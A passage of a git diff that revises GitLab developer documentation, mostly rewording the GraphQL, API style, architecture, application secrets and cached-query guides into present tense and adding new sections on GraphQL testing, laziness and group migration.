(some ```ruby argument :project_path, GraphQL::ID_TYPE, required: true, - description: "The project the merge request to mutate is in" + description: "The project the merge request to mutate is in." argument :iid, GraphQL::STRING_TYPE, required: true, - description: "The iid of the merge request to mutate" + description: "The IID of the merge request to mutate." argument :wip, GraphQL::BOOLEAN_TYPE, @@ -1207,7 +1233,7 @@ These arguments automatically generate an input type called ### Object identifier arguments -In keeping with GitLab's use of [Global IDs](#global-ids), mutation +In keeping with the GitLab use of [Global IDs](#global-ids), mutation arguments should use Global IDs to identify an object and never database primary key IDs. @@ -1231,7 +1257,7 @@ single mutation when multiple are performed within a single request. ### The `resolve` method The `resolve` method receives the mutation's arguments as keyword arguments. -From here, we can call the service that will modify the resource. +From here, we can call the service that modifies the resource. The `resolve` method should then return a hash with the same field names as defined on the mutation including an `errors` array. For example, @@ -1242,7 +1268,7 @@ field: field :merge_request, Types::MergeRequestType, null: true, - description: "The merge request after mutation" + description: "The merge request after mutation." ``` This means that the hash returned from `resolve` in this mutation @@ -1262,8 +1288,8 @@ should look like this: ### Mounting the mutation To make the mutation available it must be defined on the mutation -type that lives in `graphql/types/mutation_types`. The -`mount_mutation` helper method will define a field based on the +type that is stored in `graphql/types/mutation_types`. The +`mount_mutation` helper method defines a field based on the GraphQL-name of the mutation: ```ruby @@ -1278,7 +1304,7 @@ module Types end ``` -Will generate a field called `mergeRequestSetWip` that +Generates a field called `mergeRequestSetWip` that `Mutations::MergeRequests::SetWip` to be resolved. ### Authorizing resources @@ -1301,13 +1327,13 @@ end We can then call `authorize!` in the `resolve` method, passing in the resource we want to validate the abilities for. -Alternatively, we can add a `find_object` method that will load the +Alternatively, we can add a `find_object` method that loads the object on the mutation. This would allow you to use the `authorized_find!` helper method. When a user is not allowed to perform the action, or an object is not found, we should raise a -`Gitlab::Graphql::Errors::ResourceNotAvailable` error. Which will be +`Gitlab::Graphql::Errors::ResourceNotAvailable` error which is correctly rendered to the clients. ### Errors in mutations @@ -1418,8 +1444,8 @@ of errors should be treated as internal, and not shown to the user in specific detail. We need to inform the user when the mutation fails, but we do not need to -tell them why, since they cannot have caused it, and nothing they can do will -fix it, although we may offer to retry the mutation. +tell them why, since they cannot have caused it, and nothing they can do +fixes it, although we may offer to retry the mutation. #### Categorizing errors @@ -1483,7 +1509,7 @@ Sometimes a mutation or resolver may accept a number of optional arguments, but we still want to validate that at least one of the optional arguments is provided. In this situation, consider using the `#ready?` method within your mutation or resolver to provide the validation. The -`#ready?` method will be called before any work is done within the +`#ready?` method is called before any work is done within the `#resolve` method. Example: @@ -1504,7 +1530,7 @@ In the future this may be able to be done using `InputUnions` if [this RFC](https://github.com/graphql/graphql-spec/blob/master/rfcs/InputUnion.md) is merged. -## GitLab's custom scalars +## GitLab custom scalars ### `Types::TimeType` @@ -1527,37 +1553,71 @@ and handles time inputs. Example: ```ruby -field :created_at, Types::TimeType, null: true, description: 'Timestamp of when the issue was created' +field :created_at, Types::TimeType, null: true, description: 'Timestamp of when the issue was created.' ``` ## Testing -_full stack_ tests for a graphql query or mutation live in +### Writing unit tests + +Before creating unit tests, review the following examples: + +- [`spec/graphql/resolvers/users_resolver_spec.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/graphql/resolvers/users_resolver_spec.rb) +- [`spec/graphql/mutations/issues/create_spec.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/graphql/mutations/issues/create_spec.rb) + +It's faster to test as much of the logic from your GraphQL queries and mutations +with unit tests, which are stored in `spec/graphql`. + +Use unit tests to verify that: + +- Types have the expected fields. +- Resolvers and mutations apply authorizations and return expected data. +- Edge cases are handled correctly. + +### Writing integration tests + +Integration tests check the full stack for a GraphQL query or mutation and are stored in `spec/requests/api/graphql`. -When adding a query, the `a working graphql query` shared example can -be used to test if the query renders valid results. +For speed, you should test most logic in unit tests instead of integration tests. +However, integration tests that check if data is returned verify the following +additional items: + +- The mutation is actually queryable within the schema (was mounted in `MutationType`). +- The data returned by a resolver or mutation correctly matches the + [return types](https://graphql-ruby.org/fields/introduction.html#field-return-type) of + the fields and resolves without errors. + +Integration tests can also verify the following items, because they invoke the +full stack: + +- An argument or scalar's [`prepare`](#validating-arguments) applies correctly. +- Logic in a resolver or mutation's [`#ready?` method](#correct-use-of-resolverready) applies correctly. +- An [argument's `default_value`](https://graphql-ruby.org/fields/arguments.html) applies correctly. +- Objects resolve performantly and there are no N+1 issues. -Using the `GraphqlHelpers#all_graphql_fields_for`-helper, a query -including all available fields can be constructed. This makes it easy -to add a test rendering all possible fields for a query. +When adding a query, you can use the `a working graphql query` shared example to test if the query +renders valid results. + +You can construct a query including all available fields using the `GraphqlHelpers#all_graphql_fields_for` +helper. This makes it easy to add a test rendering all possible fields for a query. If you're adding a field to a query that supports pagination and sorting, visit [Testing](graphql_guide/pagination.md#testing) for details. -To test GraphQL mutation requests, `GraphqlHelpers` provides 2 +To test GraphQL mutation requests, `GraphqlHelpers` provides two helpers: `graphql_mutation` which takes the name of the mutation, and -a hash with the input for the mutation. This will return a struct with +a hash with the input for the mutation. This returns a struct with a mutation query, and prepared variables. -This struct can then be passed to the `post_graphql_mutation` helper, -that will post the request with the correct parameters, like a GraphQL +You can then pass this struct to the `post_graphql_mutation` helper, +that posts the request with the correct parameters, like a GraphQL client would do. -To access the response of a mutation, the `graphql_mutation_response` -helper is available. +To access the response of a mutation, you can use the `graphql_mutation_response` +helper. -Using these helpers, we can build specs like this: +Using these helpers, you can build specs like this: ```ruby let(:mutation) do @@ -1629,13 +1689,13 @@ end - Mimic the folder structure of `app/graphql/types`: For example, tests for fields on `Types::Ci::PipelineType` - in `app/graphql/types/ci/pipeline_type.rb` should live in + in `app/graphql/types/ci/pipeline_type.rb` should be stored in `spec/requests/api/graphql/ci/pipeline_spec.rb` regardless of the query being used to fetch the pipeline data. ## Notes about Query flow and GraphQL infrastructure -GitLab's GraphQL infrastructure can be found in `lib/gitlab/graphql`. +The GitLab GraphQL infrastructure can be found in `lib/gitlab/graphql`. [Instrumentation](https://graphql-ruby.org/queries/instrumentation.html) is functionality that wraps around a query being executed. It is implemented as a module that uses the `Instrumentation` class. @@ -1702,3 +1762,19 @@ For guidance, see the [GraphQL API](documentation/graphql_styleguide.md) page. ## Include a changelog entry All client-facing changes **must** include a [changelog entry](changelog.md). + +## Laziness + +One important technique unique to GraphQL for managing performance is +using **lazy** values. Lazy values represent the promise of a result, +allowing their action to be run later, which enables batching of queries in +different parts of the query tree. The main example of lazy values in our code is +the [GraphQL BatchLoader](graphql_guide/batchloader.md). + +To manage lazy values directly, read `Gitlab::Graphql::Lazy`, and in +particular `Gitlab::Graphql::Laziness`. This contains `#force` and +`#delay`, which help implement the basic operations of creation and +elimination of laziness, where needed. + +For dealing with lazy values without forcing them, use +`Gitlab::Graphql::Lazy.with_value`. diff --git a/doc/development/api_styleguide.md b/doc/development/api_styleguide.md index d21975a43d2..b2c93f16770 100644 --- a/doc/development/api_styleguide.md +++ b/doc/development/api_styleguide.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # API style guide @@ -34,7 +34,7 @@ for a good example): - `desc` for the method summary. You should pass it a block for additional details such as: - The GitLab version when the endpoint was added. If it is behind a feature flag, mention that instead: _This feature is gated by the :feature\_flag\_symbol feature flag._ - - If the endpoint is deprecated, and if so, when will it be removed + - If the endpoint is deprecated, and if so, its planned removal date - `params` for the method parameters. This acts as description, [validation, and coercion of the parameters](https://github.com/ruby-grape/grape#parameter-validation-and-coercion) @@ -72,7 +72,7 @@ parent namespaces. – <https://github.com/ruby-grape/grape#include-parent-namespaces> -In most cases you will want to exclude parameters from the parent namespaces: +In most cases you should exclude parameters from the parent namespaces: ```ruby declared(params, include_parent_namespaces: false) @@ -93,8 +93,8 @@ User.create(params) # imagine the user submitted `admin=1`... :) User.create(declared(params, include_parent_namespaces: false).to_h) ``` -NOTE: **Note:** -`declared(params)` return a `Hashie::Mash` object, on which you will have to +NOTE: +`declared(params)` return a `Hashie::Mash` object, on which you must call `.to_h`. But we can use `params[key]` directly when we access single elements. @@ -109,7 +109,7 @@ Model.create(foo: params[:foo]) ## Array types With Grape v1.3+, Array types must be defined with a `coerce_with` -block, or parameters will fail to validate when passed a string from an +block, or parameters, fails to validate when passed a string from an API request. See the [Grape upgrading documentation](https://github.com/ruby-grape/grape/blob/master/UPGRADING.md#ensure-that-array-types-have-explicit-coercions) for more details. @@ -140,7 +140,7 @@ before do end ``` -With this change, a request to PUT `/test?user_ids` will cause Grape to +With this change, a request to PUT `/test?user_ids` causes Grape to pass `params` to be `{ user_ids: [] }`. There is [an open issue in the Grape tracker](https://github.com/ruby-grape/grape/issues/2068) @@ -148,7 +148,7 @@ to make this easier. ## Using HTTP status helpers -For non-200 HTTP responses, use the provided helpers in `lib/api/helpers.rb` to ensure correct behavior (`not_found!`, `no_content!` etc.). These will `throw` inside Grape and abort the execution of your endpoint. +For non-200 HTTP responses, use the provided helpers in `lib/api/helpers.rb` to ensure correct behavior (`not_found!`, `no_content!` etc.). These `throw` inside Grape and abort the execution of your endpoint. For `DELETE` requests, you should also generally use the `destroy_conditionally!` helper which by default returns a `204 No Content` response on success, or a `412 Precondition Failed` response if the given `If-Unmodified-Since` header is out of range. This helper calls `#destroy` on the passed resource, but you can also implement a custom deletion method by passing a block. @@ -249,7 +249,7 @@ In order to avoid N+1 problems that are common when returning collections of records in an API endpoint, we should use eager loading. A standard way to do this within the API is for models to implement a -scope called `with_api_entity_associations` that will preload the +scope called `with_api_entity_associations` that preloads the associations and data returned in the API. An example of this scope can be seen in [the `Issue` model](https://gitlab.com/gitlab-org/gitlab/blob/2fedc47b97837ea08c3016cf2fb773a0300a4a25/app%2Fmodels%2Fissue.rb#L62). @@ -259,7 +259,7 @@ In situations where the same model has multiple entities in the API discretion with applying this scope. It may be that you optimize for the most basic entity, with successive entities building upon that scope. -The `with_api_entity_associations` scope will also [automatically preload +The `with_api_entity_associations` scope also [automatically preloads data](https://gitlab.com/gitlab-org/gitlab/blob/19f74903240e209736c7668132e6a5a735954e7c/app%2Fmodels%2Ftodo.rb#L34) for `Todo` _targets_ when returned in the [to-dos API](../api/todos.md). diff --git a/doc/development/application_limits.md b/doc/development/application_limits.md index 41fcf5301ad..c661ff3f617 100644 --- a/doc/development/application_limits.md +++ b/doc/development/application_limits.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Application limits development @@ -12,7 +12,7 @@ limits to GitLab. ## Documentation First of all, you have to gather information and decide which are the different -limits that will be set for the different GitLab tiers. You also need to +limits that are set for the different GitLab tiers. You also need to coordinate with others to [document](../administration/instance_limits.md) and communicate those limits. @@ -63,7 +63,7 @@ It's recommended to create two separate migration script files. end ``` - Some plans exist only on GitLab.com. This will be a no-op for plans + Some plans exist only on GitLab.com. This is a no-op for plans that do not exist. ### Plan limits validation diff --git a/doc/development/application_secrets.md b/doc/development/application_secrets.md index abc5ff7b985..92b18f5ad78 100644 --- a/doc/development/application_secrets.md +++ b/doc/development/application_secrets.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Application secrets @@ -16,20 +16,21 @@ This page is a development guide for application secrets. | `otp_key_base` | The base key for One Time Passwords, described in [User management](../raketasks/user_management.md#rotate-two-factor-authentication-encryption-key) | |`db_key_base` | The base key to encrypt the data for `attr_encrypted` columns | |`openid_connect_signing_key` | The singing key for OpenID Connect | +| `encrypted_settings_key_base` | The base key to encrypt settings files with | ## Where the secrets are stored |Installation type |Location | |--- |--- | |Omnibus |[`/etc/gitlab/gitlab-secrets.json`](https://docs.gitlab.com/omnibus/settings/backups.html#backup-and-restore-omnibus-gitlab-configuration) | -|Cloud Native GitLab Charts |[Kubernets Secrets](https://gitlab.com/gitlab-org/charts/gitlab/-/blob/f65c3d37fc8cf09a7987544680413552fb666aac/doc/installation/secrets.md#gitlab-rails-secret)| +|Cloud Native GitLab Charts |[Kubernetes Secrets](https://gitlab.com/gitlab-org/charts/gitlab/-/blob/f65c3d37fc8cf09a7987544680413552fb666aac/doc/installation/secrets.md#gitlab-rails-secret)| |Source |`<path-to-gitlab-rails>/config/secrets.yml` (Automatically generated by [01_secret_token.rb](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/initializers/01_secret_token.rb)) | ## Warning: Before you add a new secret to application secrets Before you add a new secret to [`config/initializers/01_secret_token.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/initializers/01_secret_token.rb), -make sure you also update Omnibus GitLab or updates will fail. Omnibus is responsible for writing the `secrets.yml` file. -If Omnibus doesn't know about a secret, Rails will attempt to write to the file, but this will fail because Rails doesn't have write access. +make sure you also update Omnibus GitLab or updates fail. Omnibus is responsible for writing the `secrets.yml` file. +If Omnibus doesn't know about a secret, Rails attempts to write to the file, but this fails because Rails doesn't have write access. The same rules apply to Cloud Native GitLab charts, you must update the charts at first. In case you need the secret to have same value on each node (which is usually the case) you need to make sure it's configured for all GitLab.com environments prior to changing this file. @@ -43,5 +44,5 @@ GitLab.com environments prior to changing this file. ## Further iteration -We might deprecate/remove this automatic secret generation '01_secret_token.rb' in the future. -Please see [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/222690) for more information. +We may either deprecate or remove this automatic secret generation `01_secret_token.rb` in the future. +Please see [issue 222690](https://gitlab.com/gitlab-org/gitlab/-/issues/222690) for more information. diff --git a/doc/development/approval_rules.md b/doc/development/approval_rules.md index d190f2b7c63..542bce1cb97 100644 --- a/doc/development/approval_rules.md +++ b/doc/development/approval_rules.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Approval Rules **(STARTER)** @@ -18,7 +18,7 @@ can change often. The code should explain those things better. The components mentioned here are the major parts of the application for the approval rules feature to work. -NOTE: **Note:** +NOTE: This is a living document and should be updated accordingly when parts of the codebase touched in this document are changed or removed, or when new components are added. diff --git a/doc/development/architecture.md b/doc/development/architecture.md index a1097ad4ed6..f8ab97de848 100644 --- a/doc/development/architecture.md +++ b/doc/development/architecture.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab architecture overview @@ -94,7 +94,7 @@ The simplest way to ensure this, is to add support for your feature or service t ### Simplified component overview This is a simplified architecture diagram that can be used to -understand GitLab's architecture. +understand the GitLab architecture. A complete architecture diagram is available in our [component diagram](#component-diagram) below. @@ -236,7 +236,7 @@ Table description links: | [Certificate Management](#certificate-management) | TLS Settings, Let's Encrypt | ✅ | ✅ | ⚙ | ✅ | ⚙ | ⚙ | CE & EE | | [Consul](#consul) | Database node discovery, failover | ⚙ | ❌ | ❌ | ✅ | ❌ | ❌ | EE Only | | [Database Migrations](#database-migrations) | Database migrations | ✅ | ✅ | ✅ | ✅ | ⚙ | ✅ | CE & EE | -| [Elasticsearch](#elasticsearch) | Improved search within GitLab | ⤓ | ⤓ | ⤓ | ❌ | ⤓ | ⤓ | EE Only | +| [Elasticsearch](#elasticsearch) | Improved search within GitLab | ⤓ | ⤓ | ⤓ | ✅ | ⤓ | ⤓ | EE Only | | [Gitaly](#gitaly) | Git RPC service for handling all Git calls made by GitLab | ✅ | ✅ | ✅ | ✅ | ⚙ | ✅ | CE & EE | | [GitLab Exporter](#gitlab-exporter) | Generates a variety of GitLab metrics | ✅ | ✅ | ✅ | ✅ | ❌ | ❌ | CE & EE | | [GitLab Geo Node](#gitlab-geo) | Geographically distributed GitLab nodes | ⚙ | ⚙ | ❌ | ✅ | ❌ | ⚙ | EE Only | @@ -282,8 +282,8 @@ When deployed, GitLab should be considered the amalgamation of the below process GitLab can be considered to have two layers from a process perspective: -- **Monitoring**: Anything from this layer is not required to deliver GitLab the application, but will allow administrators more insight into their infrastructure and what the service as a whole is doing. -- **Core**: Any process that is vital for the delivery of GitLab as a platform. If any of these processes halt there will be a GitLab outage. For the Core layer, you can further divide into: +- **Monitoring**: Anything from this layer is not required to deliver GitLab the application, but allows administrators more insight into their infrastructure and what the service as a whole is doing. +- **Core**: Any process that is vital for the delivery of GitLab as a platform. If any of these processes halt, a GitLab outage results. For the Core layer, you can further divide into: - **Processors**: These processes are responsible for actually performing operations and presenting the service. - **Data**: These services store/expose structured data for the GitLab service. @@ -297,7 +297,7 @@ GitLab can be considered to have two layers from a process perspective: - Process: `alertmanager` - GitLab.com: [Monitoring of GitLab.com](https://about.gitlab.com/handbook/engineering/monitoring/) -[Alert manager](https://prometheus.io/docs/alerting/latest/alertmanager/) is a tool provided by Prometheus that _"handles alerts sent by client applications such as the Prometheus server. It takes care of deduplicating, grouping, and routing them to the correct receiver integration such as email, PagerDuty, or Opsgenie. It also takes care of silencing and inhibition of alerts."_ You can read more in [issue #45740](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/45740) about what we will be alerting on. +[Alert manager](https://prometheus.io/docs/alerting/latest/alertmanager/) is a tool provided by Prometheus that _"handles alerts sent by client applications such as the Prometheus server. It takes care of deduplicating, grouping, and routing them to the correct receiver integration such as email, PagerDuty, or Opsgenie. It also takes care of silencing and inhibition of alerts."_ You can read more in [issue #45740](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/45740) about what we alert on. #### Certificate management @@ -340,7 +340,7 @@ Consul is a tool for service discovery and configuration. Consul is distributed, - [Source](../integration/elasticsearch.md) - [GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/master/doc/howto/elasticsearch.md) - Layer: Core Service (Data) -- GitLab.com: [Get Advanced Search working on GitLab.com](https://gitlab.com/groups/gitlab-org/-/epics/153) epic. +- GitLab.com: [Get Advanced Search working on GitLab.com (Closed)](https://gitlab.com/groups/gitlab-org/-/epics/153) epic. Elasticsearch is a distributed RESTful search engine built for the cloud. @@ -434,7 +434,7 @@ GitLab CI/CD is the open-source continuous integration service included with Git #### GitLab Shell -- [Project page](https://gitlab.com/gitlab-org/gitlab-shell/blob/master/README.md) +- [Project page](https://gitlab.com/gitlab-org/gitlab-shell/-/blob/main/README.md) - Configuration: - [Omnibus](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/files/gitlab-config-template/gitlab.rb.template) - [Charts](https://docs.gitlab.com/charts/charts/gitlab/gitlab-shell/) @@ -600,7 +600,7 @@ GitLab packages the popular Database to provide storage for Application meta dat - Process: `postgres-exporter` - GitLab.com: [Monitoring of GitLab.com](https://about.gitlab.com/handbook/engineering/monitoring/) -[`postgres_exporter`](https://github.com/wrouesnel/postgres_exporter) is the community provided Prometheus exporter that will deliver data about PostgreSQL to Prometheus for use in Grafana Dashboards. +[`postgres_exporter`](https://github.com/wrouesnel/postgres_exporter) is the community provided Prometheus exporter that delivers data about PostgreSQL to Prometheus for use in Grafana Dashboards. #### Prometheus @@ -656,10 +656,10 @@ Redis is packaged to provide a place to store: The registry is what users use to store their own Docker images. The bundled registry uses NGINX as a load balancer and GitLab as an authentication manager. -Whenever a client requests to pull or push an image from the registry, it will -return a `401` response along with a header detailing where to get an -authentication token, in this case the GitLab instance. The client will then -request a pull or push auth token from GitLab and retry the original request +Whenever a client requests to pull or push an image from the registry, it +returns a `401` response along with a header detailing where to get an +authentication token, in this case the GitLab instance. The client then +requests a pull or push auth token from GitLab and retries the original request to the registry. Learn more about [token authentication](https://docs.docker.com/registry/spec/auth/token/). An external registry can also be configured to use GitLab as an auth endpoint. @@ -710,7 +710,7 @@ disabled by default. - Process: `puma` - GitLab.com: [Puma](../user/gitlab_com/index.md#puma) -[Puma](https://puma.io/) is a Ruby application server that is used to run the core Rails Application that provides the user facing features in GitLab. Often process output you will see this as `bundle` or `config.ru` depending on the GitLab version. +[Puma](https://puma.io/) is a Ruby application server that is used to run the core Rails Application that provides the user facing features in GitLab. Often this displays in process output as `bundle` or `config.ru` depending on the GitLab version. #### Unicorn @@ -727,7 +727,7 @@ disabled by default. - Process: `unicorn` - GitLab.com: [Unicorn](../user/gitlab_com/index.md#unicorn) -[Unicorn](https://yhbt.net/unicorn/) is a Ruby application server that is used to run the core Rails Application that provides the user facing features in GitLab. Often process output you will see this as `bundle` or `config.ru` depending on the GitLab version. +[Unicorn](https://yhbt.net/unicorn/) is a Ruby application server that is used to run the core Rails Application that provides the user facing features in GitLab. Often this displays in process output as `bundle` or `config.ru` depending on the GitLab version. #### LDAP Authentication @@ -792,16 +792,16 @@ It's important to understand the distinction as some processes are used in both ### GitLab Web HTTP request cycle -When making a request to an HTTP Endpoint (think `/users/sign_in`) the request will take the following path through the GitLab Service: +When making a request to an HTTP Endpoint (think `/users/sign_in`) the request takes the following path through the GitLab Service: - NGINX - Acts as our first line reverse proxy. - GitLab Workhorse - This determines if it needs to go to the Rails application or somewhere else to reduce load on Puma. -- Puma - Since this is a web request, and it needs to access the application it will go to Puma. +- Puma - Since this is a web request, and it needs to access the application, it routes to Puma. - PostgreSQL/Gitaly/Redis - Depending on the type of request, it may hit these services to store or retrieve data. ### GitLab Git request cycle -Below we describe the different paths that HTTP vs. SSH Git requests will take. There is some overlap with the Web Request Cycle but also some differences. +Below we describe the different paths that HTTP vs. SSH Git requests take. There is some overlap with the Web Request Cycle but also some differences. ### Web request (80/443) diff --git a/doc/development/auto_devops.md b/doc/development/auto_devops.md index bf259e47cb1..c457573b87a 100644 --- a/doc/development/auto_devops.md +++ b/doc/development/auto_devops.md @@ -1,7 +1,7 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Auto DevOps development guide diff --git a/doc/development/background_migrations.md b/doc/development/background_migrations.md index 86a2aed5ea1..3ef5bf382b8 100644 --- a/doc/development/background_migrations.md +++ b/doc/development/background_migrations.md @@ -36,7 +36,7 @@ Some examples where background migrations can be useful: - Populating one column based on JSON stored in another column. - Migrating data that depends on the output of external services (e.g. an API). -NOTE: **Note:** +NOTE: If the background migration is part of an important upgrade, make sure it's announced in the release post. Discuss with your Project Manager if you're not sure the migration falls into this category. @@ -144,7 +144,7 @@ once. ## Cleaning Up -NOTE: **Note:** +NOTE: Cleaning up any remaining background migrations _must_ be done in either a major or minor release, you _must not_ do this in a patch release. diff --git a/doc/development/build_test_package.md b/doc/development/build_test_package.md index e99915a24d0..421ee5d0c84 100644 --- a/doc/development/build_test_package.md +++ b/doc/development/build_test_package.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Distribution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Building a package for testing @@ -13,7 +13,7 @@ pipeline that can be used to trigger a pipeline in the Omnibus GitLab repository that will create: - A deb package for Ubuntu 16.04, available as a build artifact, and -- A Docker image, which is pushed to [Omnibus GitLab's container +- A Docker image, which is pushed to the [Omnibus GitLab container registry](https://gitlab.com/gitlab-org/omnibus-gitlab/container_registry) (images titled `gitlab-ce` and `gitlab-ee` respectively and image tag is the commit which triggered the pipeline). diff --git a/doc/development/bulk_import.md b/doc/development/bulk_import.md new file mode 100644 index 00000000000..40e4af923ea --- /dev/null +++ b/doc/development/bulk_import.md @@ -0,0 +1,53 @@ +--- +stage: Manage +group: Import +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + +# GitLab Group Migration + +[Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2771) in GitLab 13.7. + +WARNING: +This feature is [under construction](https://gitlab.com/groups/gitlab-org/-/epics/2771) and its API/Architecture might change in the future. + +GitLab Group Migration is the evolution of Project and Group Import functionality. The +goal is to have an easier way to the user migrate a whole Group, including +Projects, from one GitLab instance to another. + +## Design decisions + +### Overview + +The following architectural diagram illustrates how the Group Migration +works with a set of [ETL](#etl) Pipelines leveraging from the current [GitLab APIs](#api). + + + +### [ETL](https://www.ibm.com/cloud/learn/etl) + +<!-- Direct quote from the IBM URL link --> + +> ETL, for extract, transform and load, is a data integration process that +> combines data from multiple data sources into a single, consistent data store +> that is loaded into a data warehouse or other target system. + +Using ETL architecture makes the code more explicit and easier to follow, test and extend. The +idea is to have one ETL pipeline for each relation to be imported. + +### API + +The current [Project](../user/project/settings/import_export.md) and [Group](../user/group/settings/import_export.md) Import are file based, so they require an export +step to generate the file to be imported. + +GitLab Group migration leverages on [GitLab API](../api/README.md) to speed the migration. + +And, because we're on the road to [GraphQL](../api/README.md#road-to-graphql), +GitLab Group Migration will be contributing towards to expand the GraphQL API coverage, which benefits both GitLab +and its users. + +### Namespace + +The migration process starts with the creation of a [`BulkImport`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/bulk_import.rb) +record to keep track of the migration. From there all the code related to the +GitLab Group Migration can be found under the new `BulkImports` namespace in all the application layers. diff --git a/doc/development/cached_queries.md b/doc/development/cached_queries.md index 812e5f88754..4f82d721164 100644 --- a/doc/development/cached_queries.md +++ b/doc/development/cached_queries.md @@ -1,80 +1,101 @@ -# Cached queries guidelines +--- +stage: none +group: unassigned +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- -Rails provides an [SQL query cache](https://guides.rubyonrails.org/caching_with_rails.html#sql-caching), -used to cache the results of database queries for the duration of the request. +# Cached queries guidelines -If Rails encounters the same query again for that request, -it will use the cached result set as opposed to running the query against the database again. +Rails provides an [SQL query cache](https://guides.rubyonrails.org/caching_with_rails.html#sql-caching) +which is used to cache the results of database queries for the duration of a request. +When Rails encounters the same query again within the same request, it uses the cached +result set instead of running the query against the database again. -The query results are only cached for the duration of that single request, it does not persist across multiple requests. +The query results are only cached for the duration of that single request, and +don't persist across multiple requests. ## Why cached queries are considered bad -The cached queries help with reducing DB load, but they still: +Cached queries help by reducing the load on the database, but they still: - Consume memory. -- Require as to re-instantiate each `ActiveRecord` object. -- Require as to re-instantiate each relation of the object. -- Make us spend additional CPU-cycles to look into a list of cached queries. - -The Cached SQL queries are cheaper, but they are not cheap at all from `memory` perspective. -They could mask [N+1 query problem](https://guides.rubyonrails.org/active_record_querying.html#eager-loading-associations), -so we should threat them the same way we threat regular N+1 queries. +- Require Rails to re-instantiate each `ActiveRecord` object. +- Require Rails to re-instantiate each relation of the object. +- Make us spend additional CPU cycles to look into a list of cached queries. + +Although cached queries are cheaper from a database perspective, they are potentially +more expensive from a memory perspective. They could mask +[N+1 query problems](https://guides.rubyonrails.org/active_record_querying.html#eager-loading-associations), +so you should treat them the same way you treat regular N+1 queries. -In case of N+1 queries, masked with cached queries, we are executing the same query N times. -It will not hit the database N times, it will return the cached results instead. -This is still expensive since we need to re-initialize objects each time, and this is CPU/Memory expensive. -Instead, we should use the same in-memory objects, if possible. +In cases of N+1 queries masked by cached queries, the same query is executed N times. +It doesn't hit the database N times but instead returns the cached results N times. +This is still expensive because you need to re-initialize objects each time at a +greater expense to the CPU and memory resources. Instead, you should use the same +in-memory objects whenever possible. -When we introduce a new feature, we should avoid N+1 problems, -minimize the [query count](merge_request_performance_guidelines.md#query-counts), and pay special attention that [cached -queries](merge_request_performance_guidelines.md#cached-queries) are not masking N+1 problems. +When you introduce a new feature, you should: -## How to detect +- Avoid N+1 queries. +- Minimize the [query count](merge_request_performance_guidelines.md#query-counts). +- Pay special attention to ensure + [cached queries](merge_request_performance_guidelines.md#cached-queries) are not + masking N+1 problems. + +## How to detect cached queries ### Detect potential offenders by using Kibana -On GitLab.com, we are logging entries with the number of executed cached queries in the -`pubsub-redis-inf-gprd*` index with the [`db_cached_count`](https://log.gprd.gitlab.net/goto/77d18d80ad84c5df1bf1da5c2cd35b82). -We can filter endpoints that have a large number of executed cached queries. For example, if we encounter an endpoint -that has 100+ `db_cached_count`, this could indicate that there is an N+1 problem masked with cached queries. -We should probably investigate this endpoint further, to check if we are executing duplicated cached queries. +GitLab.com, logs entries with the number of executed cached queries in the +`pubsub-redis-inf-gprd*` index as +[`db_cached_count`](https://log.gprd.gitlab.net/goto/77d18d80ad84c5df1bf1da5c2cd35b82). +You can filter by endpoints that have a large number of executed cached queries. For +example, an endpoint with a `db_cached_count` greater than 100 can indicate an N+1 problem which +is masked by cached queries. You should investigate this endpoint further to determine +if it is indeed executing duplicated cached queries. + +For more Kibana visualizations related to cached queries, read +[issue #259007, 'Provide metrics that would help us to detect the potential N+1 CACHED SQL calls'](https://gitlab.com/gitlab-org/gitlab/-/issues/259007). -For more cached queries Kibana visualizations see [this 